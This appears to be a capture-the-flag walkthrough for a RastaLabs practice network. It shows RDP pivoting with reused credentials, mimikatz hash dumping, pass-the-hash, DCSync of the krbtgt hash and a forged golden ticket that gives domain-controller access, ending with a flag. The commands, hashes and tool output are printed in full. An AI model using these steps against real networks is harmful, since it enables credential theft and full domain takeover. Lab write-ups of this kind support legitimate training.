

using epugh_adm creds, logged in to web01 (10.10.110.10) and from there took rdp of sql01(10.10.122.15) using same creds and then rdp to fs01 with user gopikrishna [local admin]

copy and paste p0wnedshell.exe

run p0wnedshell.exe with admin cmd,

option 4, invoke mimikatz ----> get the ntlm hash of rweston_da [domain admin]

rweston_da hash --- ab7b75ff84475be2e8c4dcb7390955c3:3ff61fa259deee15e4042159d7b832fa

to get rweston_da cmd shell, type this cmd in mimikatz,

sekurlsa::pth /user:rweston_da /domain:rastalabs.local /ntlm:3ff61fa259deee15e4042159d7b832fa

in the rweston cmd, open p0wnedshell

option 10, perform dcsync to get krbtgt hash

krbtgt : 1b6e14bc52b67a2357f7938a8bbceb1b

option 10, generate golden ticket

```
*
*****
v2.0 x64
*****
[+] For this attack to succeed, we need to have the ntlm hash of the krbtgt account.
[+] We can get this hash using Mimikatz DCSync.
[+] Do you have the ntlm hash of the krbtgt account? (y/n) > y
[+] Please enter the hash of our sweet krbtgt account > 1b6e14bc52b67a2357f7938a8bbceb1b
[+] First return the name of our current domain.
rastalabs.local
[+] Now return the SID for our domain.
S-1-5-21-1396373213-2872852198-2033860859
```

[+] Finally enter the name of the Super Human you want to be: **rweston_da**

[+] Now wait while generating a forged Ticket-Granting Ticket (TGT)...

Hostname: fs01.rastalabs.local / S-1-5-21-2919673885-940875513-1261788316

```
.#####.  mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
.## ^ ##.  "A La Vie, A L'Amour"
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz                 (oe.eo)
'#####'                                   with 20 modules * * */
```

```
mimikatz(powershell) # kerberos::purge
Ticket(s) purge for current session is OK
```

```
mimikatz(powershell) # kerberos::golden /domain:rastalabs.local /user:rweston_da /sid:S-1-5-21-1396373213-2872852198-2033860859 /krbtgt:1b6e14bc52b67a2357f7938a8bbceb1b /ticket:C:\Users\GOPIKR~1\Desktop\rweston_da.ticket
User       : rweston_da
Domain     : rastalabs.local (RASTALABS)
SID        : S-1-5-21-1396373213-2872852198-2033860859
User Id    : 500
Groups Id  : *513 512 520 518 519
ServiceKey : 1b6e14bc52b67a2357f7938a8bbceb1b - rc4_hmac_nt
Lifetime   : 10/08/2018 19:18:30 ; 07/08/2028 19:18:30 ; 07/08/2028 19:18:30
-> Ticket  : C:\Users\GOPIKR~1\Desktop\rweston_da.ticket
```

```
mimikatz(powershell) # kerberos::golden /domain:rastalabs.local /user:rweston_da /sid:S-1-5-21-1396373213-2872852198-2033860859 /krbtgt:1b6e14bc52b67a2357f7938a8bbceb1b /ticket:C:\Users\GOPIKR~1\Desktop\rweston_da.ticket
```

```
mimikatz(powershell) # kerberos::ptt C:\Users\GOPIKR~1\Desktop\rweston_da.ticket
```

kerberos ticket is in memory, so can do all operations on same cmd



[+] Now lets inject our Kerberos ticket in the current session

Hostname: fs01.rastalabs.local / S-1-5-21-2919673885-940875513-1261788316

```
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'## v ##'   http://blog.gentilkiwi.com/mimikatz               (oe.eo)
'#####'                                   with 20 modules * * */
```

mimikatz(powershell) # kerberos::ptt C:\Users\GOPIKR~1\Desktop\rweston_da.ticket

* File: 'C:\Users\GOPIKR~1\Desktop\rweston_da.ticket': OK

[+] And finally check if we really have SuperPower:

[+] OwYeah, rweston_da you are in Full Control of the Domain :)

Directory: \\dc01.rastalabs.local\C\$\

Mode		LastWriteTime	Length	Name
d-----		16/07/2016 14:23		PerfLogs
d-r---		22/10/2017 21:37		Program Files
d-----		16/07/2016 14:23		Program Files (x86)
d-r---		26/10/2017 22:41		Users
d-----		21/10/2017 10:43		Windows

Press Enter to Continue...



```
pushd \\dc01.rastalabs.local\C$
```

```
RASTA {r457414b5_ch4mp10n}
```